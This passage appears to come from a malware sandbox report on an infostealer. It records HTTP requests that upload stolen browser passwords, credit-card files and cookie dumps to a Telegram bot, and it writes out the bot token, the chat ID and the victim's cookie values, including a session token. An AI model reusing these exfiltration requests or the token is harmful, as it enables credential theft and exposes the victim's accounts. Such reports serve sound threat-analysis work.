"Firefox", "Profile": "ywzu7870.default", "Domain": "my.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il81M2VjYWU5MC03NTk2LTQzZDctYWYyZC1iNGI0MjhmZDhiZjgtMEFBN0QzQjE1Q0U1MEY1NEYxMENGNTg0NUI0MjE4ODciIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTZiNjIyODYtNzA5Ni00MjBmLWE4NzAtYmU2YTY0Y2IxN2M3PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQU80a2t3Tkc1cXA5TzMyTFhsSlVVU2sxa3hsbGFaL0NZYy9ZR0hGRWRCY25jQzRabkdqWWVSMlExYTB4QXlTV3grYTArMUNaODdiYVB2NUx4aTQybVJ5MGR0b05ubUlFdU0xRmZ2YW9tcWxBWGNudzVFL1B4ZkVhVkJibTJxaS9zTzVHemMzZ1Flbi9JaG9IS213MEgyZXFBTnNISzU0U1p3MGJWb3lHVmJabG5DckFrSXh2Q0ZCOFg1WmZmalFiSXJUaWh2MXNmK29tcE4zYjc3Q0Rwc3lqWUpyQW1TMWdEQnJnOXVvZ0QwTDhiVStSVTJNTVV0MURZMGx5N2tTckFrNmtHTE1LMEF5VytCaUFJa2hlZjBCVC9OdXc1QkZWOG04UTgrUmw4TU9rQ1Q1MVNlVnRQSjV5QUFkNWFrK0R5ZXdXempJV24yZjNRbHFHZEVPRVRCTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBSXNCUGlqU2hZQ0Y3N0lndmNsT3dYbkozM3phZSsrYUFkRDU1RE9CMERVcmE4VS9WK3oxNjd6WjVGWXNvZ2tpWlhoUWpPekxDd3JtczJmNFJoYkxSMUNLZlkyZ2NHNmxlTnlmWms3a1JUbktBY3Rha1pvSVQ3TFZEU09EcjlUaUFLWSs1NTlzeHFLWWFGMFY5QWVoU0tqc0tGb1ZnbVhxQzEzTzJEaHNSaUY5bFNBcEJlNEtNNlA5c1dLNnlIUlBnK2c2YXoyUklGZS9IMmdjOUxsWmltVGlRR2xhSkdBalU2enp1YS9kNzBGazQ4MmkvdTM4VE1wSjNVdTBCRnlZamVVODNxTDcxbXdYZXU4MVplRi93dnBBaVQzUVRwYmQyQVQ1MytVTnh0azVHa2RuVnVXQVJ2R2lMUEV6MlBGanpFNGVxWlVKdERHVjRhL3ZCL0Y1Nm1QZ0F3QUFRc2w5anNTY3RVaXdTczNhT3BGWDRUK0cvL2g4WEtSMm5qNnlXbVV3aG1QSzZWZ0tzLzJYaWt1a3ptenQ5alZpRzVCcXlIeUJmM3NEMVZMdlpMZ1Bueno2b2dQZkQzUGprZ0dnY0QwUnRJNEVXdW9xNUZBL3pKdE1ZK0FpaGo3anlGcnM3U1FtQWZyTitNUnZFelpSQzJsL0JqeGowS1FlZXFmbDM5ZVNZdFMzV21jUmRRRDd4Um1FemduUDFLbEhMZ2YxbTJoc0F1c0NqZnM2N0daWTRJaC9JMG9QQ0JOKzBSM09RSmlQVUtlTlBQcEtER3ZTOG84Y29hZFd6MDkzd1dhV3E0L3JrSDRBc2Fvc2NpRmtPMDB2NTRQdzAzOCtOaGlWeHYrOGVXWC9uZk16SGlU", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "my.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": "d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUNVQitDb1dOelNaWDV0UnBJb0JJb3RybVBHcWtEdnZhN00xY01kZTd5Tml5cmdsajNjbVhQZ3lxWERxV0FsQzJHbG5YV0dyUHRETE0wRllKY21GV3FQaVVOcGt6VU1sOFdMRkQ5QXZGNEFrZ3RYNmlsVFIzRWdob3Ryd1VMZ3cxUEJMODk5YU5sNWM1YkVXTzNyTTUzSmpNSGN4bGpsOEdTYlgwaExoU1U4aUwzTkIyQjQyNjk3VzZSRnNGYUwxeHhJemNwLzgxYUxHd0YrY2tHc0pzWTdtN2N6Yy92QWppVUZpSnhIYldNbm5taUJYQ3F0RVNSY2ZrUGx4NVh1TkFUK1NkbTcyYXdQS2dhbVNGRUhvY0pCZ21ENWlsTXJsQUh0dVVvL25qSlhvQ1pHUnVMVnd1QjVHMFozTEREbnVTeUFwR0pTYllZd1llUUs0U2p0YmxEMGpVV3FManorN2pkTkthU2lCSEo4MURDTnhwK2xiRDM2b1ZEdklNWG1SOEFlVDVrbk1xajZaMnRwSnQ3MXVpd3ZWR1lnWm0vR1VuY3NoQUNnVEx2SmpPWXFRM0dFeThXRXlIQUszTzI4SDBjVVhBbm5MVXduNU51T002M25LK3UxRGp1YUxyYlZmM0ZsbHdNRXRRaUR1UHcvZjZwbHZYQnlOQlVYKzFua3RWckZpNjBzNWxiK0RjbmVVRUIxZ1ZtTVNwZXgvcWlWN1FVZUVIZGduOTNHSVdKOW8rd3NkOEc3R00xbFNUTUgrUWIvT1dMeHZRSzVwT0lhaFgwaVVZRGxBaWtPQlJzRko4UWpuVC8xSTdBV0RnbGNTMUJycFJ5YkNSMDlTMmZMdHNiTncza3V6RHBJeXE0SGoyZUYzaXVtc09GNGlSQjJsK3pndjE3SFRaWnF1OTYrUU1ORE0wWFliaWd2WEpibDdjQXZPeE9GUkdKdldqWE5DZEJibXpyc1VxK1B0TklINHhSK1M1VGs5VTJhL1dmWll0bUM4cnpwSXQyTlIvajcweklzcWVWWmEyeWxvSWc4Umwva3dQaHpFdWpDOWp1NkVYbHo4d2Fhbmx5dnhOZGFFK2pLMWZqWnh2WEt5VCtCRXdLTDJBcjB3RjNQWHNFSUR4T2dCNmFJVXlKWmtudWZYNnU0bDB3eW9YQjd5S0lCazU0REhnZ1A0clNtVTNDZ1o0ZXRmdlRSUWxSaHZra3dQbHFBUGRVczhJakdyZzZZdlI5VHBrcGFpYVppa2paOXRxaVRsSGdPM2NJVTI2ZGFQbVE9PC9Db29raWU+PC9TZWN1cml0eUNvbnRleHRUb2tlbj4=", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "vlscppe.microsoft.com", "Path": "/", "Name": "thx_guid", "Value": "459f7c585ccc4e1bae96039138b93fde", "Expiry": 1687350467, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MUID", "Value": "12a11495-8216-468c-b4ef-91a01564edd7", "Expiry": 1594988868, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "OGP", "Value": "-5061451:", "Expiry": 1534422677, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "1P_JAR", "Value": "2018-07-17-12", "Expiry": 1534422680, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "optimizelyEndUserId", "Value": "oeu1531830459748r0.9733928579012604", "Expiry": 1594902682, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_ga", "Value": "GA1.2.746119596.1531830390", "Expiry": 1594902687, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gid", "Value": "GA1.2.1680687488.1531830390", "Expiry": 1531917087, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gat", "Value": "1", "Expiry": 1531830747, "IsSecure": false, "IsHttpOnly": false, "Expired": true }]--19a9a391-7464-4172-be50-78ff52dabc9e--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri 03 Apr 2026 09:39:52 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D....... "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="86e8b9a0-0f9f-4e17-90ee-9536048e81a5" Host: api.telegram.org Content-Length: 279" with payload::==> "--86e8b9a0-0f9f-4e17-90ee-9536048e81a5Content-Disposition: form-data; name=document; filename=Gecko_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt; filename*=utf-8''Gecko_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt--86e8b9a0-0f9f-4e17-90ee-9536048e81a5--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri 03 Apr 2026 09:39:52 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D....... "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="69410bbc-4c9c-4299-ae1a-4cb5a9c68b5a" Host: api.telegram.org Content-Length: 273" with payload::==> "--69410bbc-4c9c-4299-ae1a-4cb5a9c68b5aContent-Disposition: form-data; name=document; filename=Gecko_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt; filename*=utf-8''Gecko_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt--69410bbc-4c9c-4299-ae1a-4cb5a9c68b5a--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri 03 Apr 2026 09:39:52 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D.......4a:T894,"api.telegram.org" (Indicator: "telegram.org"; File: "PCAP") "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="43114c2c-270a-42ea-901e-48b4005ea075"Host: api.telegram.orgContent-Length: 285--43114c2c-270a-42ea-901e-48b4005ea075Content-Disposition: form-data; name=document; filename=Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt; filename*=utf-8''Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt--43114c2c-270a-42ea-901e-48b4005ea075--" (Indicator: "telegram.org"; File: "PCAP") "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="eeca6710-4829-4338-991c-96c83926f016"Host: api.telegram.orgContent-Length: 279--eeca6710-4829-4338-991c-96c83926f016Content-Disposition: form-data; name=document; filename=Chromium_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt; filename*=utf-8''Chromium_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt--eeca6710-4829-4338-991c-96c83926f016--" (Indicator: "telegram.org"; File: "PCAP") "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="86e8b9a0-0f9f-4e17-90ee-9536048e81a5"Host: api.telegram.orgContent-Length: 279--86e8b9a0-0f9f-4e17-90ee-9536048e81a5Content-Disposition: form-data; name=document; filename=Gecko_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt; filename*=utf-8''Gecko_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt--86e8b9a0-0f9f-4e17-90ee-9536048e81a5--" (Indicator: "telegram.org"; File: "PCAP") "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1Content-Type: multipart/form-data; boundary="69410bbc-4c9c-4299-ae1a-4cb5a9c68b5a"Host: api.telegram.orgContent-Length: 273--69410bbc-4c9c-4299-ae1a-4cb5a9c68b5aContent-Disposition: form-data; name=document; filename=Gecko_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt; filename*=utf-8''Gecko_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt--69410bbc-4c9c-4299-ae1a-4cb5a9c68b5a--" (Indicator: "telegram.org"; File: "PCAP")4b:T466," "--11829c8c-009a-4b96-b2bd-bfb7540afe4bContent-Disposition: form-data; name=document; filename=Chromium_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.51.json; filename*=utf-8''Chromium_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.51.json[ { "Browser": "Google Chrome", "Profile": "Default", "Domain": "ogs.google.com", "Path": "/", "Name": "OTZ", "Value": "7460170_88_88_104280_84_446940", "Expiry": 1712506199, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Google Chrome", "Profile": "Default", "Domain": ".google.com", "Path": "/", "Name": "NID", "Value": "512=GaIWG2XErwXZiLYBiquN_7iyfbz3JhbiQU45CnOElIYH5IPZ-JFQTXxwdubVOgj-B9cVgkcMCrMEAlaHrmac0o8sI0Ll3ffehUk6LUCGAIF-HhczuAy6dki2uDWlOYaQr-2FOZKuhW5yOlB-hM76Ycp6EAtMmbZ9gHzzydvKrtE", "Expiry": 1725725429, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".mediago.io", "Path": "/", "Name": "__mguid_", "Value": "6b645479206cf06c52b9942d5a69fa02", "Expiry": 1745775274, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".popin.cc", "Path": "/", "Name": "__mguid_", "Value": "5d2fd59fbae537693bad87b9b486c1ef", "Expiry": 1762641792, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "ABDEF", "Value": "V=13&ABDV=13&MRNB=1709914096579&MRB=0", "Expiry": 1744474096, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".doubleclick.net", "Path": "/", "Name": "IDE", "Value": "AHWqTUkDGV3wgTFhsU-qBz-5IrBlXYLuvmjllUGNSdNo-M1wxG1gZvMnvnPSYdxNP9g", "Expiry": 1744474099, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "SRCHUSR", "Value": "DOB=20220428&T=1709914095000", "Expiry": 1744474097, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "USRLOC", "Value": "HS=1&ELOC=LAT=49.279151916503906|LON=-123.11663818359375|N=Vancouver%2C%20British%20Columbia|ELT=1|", "Expiry": 1744474096, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "_RwBf", "Value": "ilt=3&ihpd=0&ispd=1&rc=13&rb=0&gb=0&rg=200&pc=10&mtu=0&rbb=0&g=0&cid=&clo=0&v=1&l=2024-03-08T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2024-03-08T16:08:17.3400257+00:00&rwred=0&wls=&lka=0&lkt=0&TH=&r=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0001-01-01T00:00:00.0000000&rwflt=0001-01-01T00:00:00.0000000&wlb=&wle=&ccp=&aad=0", "Expiry": 1741450097, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "_SS", "Value": "SID=00", "Expiry": 1741450085, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome", "Name": "_ga", "Value": "GA1.2-2.1000637438.1709914100", "Expiry": 1744474110, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome/", "Name": "_ga", "Value": "GA1.1-2.1000637438.1709914100", "Expiry": 1744474110, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".linkedin.com", "Path": "/", "Name": "bcookie", "Value": "\"v=2&98789ba8-528f-4df4-8ba8-ccdec94c55a5\"", "Expiry": 1741450085, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome/", "Name": "_ga_B7W0ZKZYDK", "Value": "GS1.1-2.1709914102.1.1.1709914125.0.0.0", "Expiry": 1744474125, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "assets.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610255, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610254, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "_EDGE_V", "Value": "1", "Expiry": 1743610254, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".ntp.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en||ca|en-ca|en-ca|en||RefA=04AD1899CBCD42F1A59303D8318894C8.RefC=2024-03-08T16:08:02Z", "Expiry": 1741450255, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en||ca|en-ca|en-ca|en||RefA=822484962F034C50AE4F31D425B5E586.RefC=2024-03-08T16:10:54Z", "Expiry": 1744474254, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MSFPC", "Value": "GUID=99db494f794a4c21af6255a5bf556203&HASH=99db&LV=202303&V=4&LU=1678459558597", "Expiry": 1741450451, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610444, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "SRCHHPGUSR", "Value": "SRCHLANG=en", "Expiry": 1744474445, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en-us||ca|en-ca|en-ca|en||RefA=3BED9F13895541C998363E2284D93BF5.RefC=2024-03-08T16:14:03Z", "Expiry": 1744474443, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MicrosoftApplicationsTelemetryDeviceId", "Value": "20d5ab14-cfcb-4497-9569-2cac0e5ed75f", "Expiry": 1741450487, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".scorecardresearch.com", "Path": "/", "Name": "UID", "Value": "1DA96fb7b08f419c1dac52a1651167224", "Expiry": 1744474484, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".dc.arrivalist.com", "Path": "/", "Name": "avlcnt", "Value": "1", "Expiry": 1741450488, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".dc.arrivalist.com", "Path": "/", "Name": "avlukey", "Value": "65eb3978393159.39615679", "Expiry": 1741450488, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".mgid.com", "Path": "/", "Name": "muidn", "Value": "m3sNYbRJmwxa", "Expiry": 1741450486, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".adnxs.com", "Path": "/", "Name": "receive-cookie-deprecation", "Value": "1", "Expiry": 1744474489, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "ANONCHK", "Value": "0", "Expiry": 1721061512, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "MR", "Value": "0", "Expiry": 1721665712, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "MR", "Value": "0", "Expiry": 1721665712, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "MUID", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "MUID", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "SRM_B", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "SRM_M", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "SRM_M", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".github.com", "Path": "/", "Name": "_octo", "Value": "GH1.1.1635810349.1721060913", "Expiry": 1752596914, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".github.com", "Path": "/", "Name": "logged_in", "Value": "no", "Expiry": 1752596914, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "ntps", "Value": "{\"m\":\"en-ca\"}", "Expiry": 1736785712, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/edge", "Name": "pglt-edgeChromium-dhp", "Value": "43", "Expiry": 1736785713, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "ai_session", "Value": "85E0Mztb1Wr4hUXARcJkew|1721060911880|1721061014809", "Expiry": 1721062814, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "MicrosoftApplicationsTelemetryDeviceId", "Value": "c20593ac-a091-4cd6-839f-e17bb0b5b252", "Expiry": 1752597048, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "OptanonConsent", "Value": "isGpcEnabled=0&datestamp=Mon+Jul+15+2024+09%3A30%3A48+GMT-0700+(Pacific+Daylight+Time)&version=202310.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&landingPath=NotLandingPage&groups=C0001%3A1%2CC0003%3A0%2CC0002%3A0%2CC0004%3A0%2CV2STACK42%3A0&AwaitingReconsent=false", "Expiry": 1752597048, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/edge", "Name": "pglt-edgeChromium-ntp", "Value": "43", "Expiry": 1736785847, "IsSecure": false, "IsHttpOnly": false, "Expired": true }]--11829c8c-009a-4b96-b2bd-bfb7540afe4b--" "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="43114c2c-270a-42ea-901e-48b4005ea075" Host: api.telegram.org Content-Length: 285" with payload:==> "--43114c2c-270a-42ea-901e-48b4005ea075Content-Disposition: form-data; name=document; filename=Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt; filename*=utf-8''Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt--43114c2c-270a-42ea-901e-48b4005ea075--" "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="eeca6710-4829-4338-991c-96c83926f016" Host: api.telegram.org Content-Length: 279" with payload:==> "--eeca6710-4829-4338-991c-96c83926f016Content-Disposition: form-data; name=document; filename=Chromium_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt; filename*=utf-8''Chromium_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt--eeca6710-4829-4338-991c-96c83926f016--" "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="19a9a391-7464-4172-be50-78ff52dabc9e" Host: api.telegram.org Content-Length: 25406" with payload:==> "--19a9a391-7464-4172-be50-78ff52dabc9eContent-Disposition: form-data; name=document; filename=Gecko_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.53.json; filename*=utf-8''Gecko_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.53.json[ { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gat_UA-36116321-1", "Value": "1", "Expiry": 1520275059, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_ga", "Value": "GA1.2.12219564.1520275000", "Expiry": 1583347002, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gid", "Value": "GA1.2.411848676.1520275000", "Expiry": 1520361402, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gali", "Value": "skip-button", "Expiry": 1520275099, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "OGPC", "Value": "19005936-1:", "Expiry": 1534048070, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/complete/search", "Name": "CGIC", "Value": 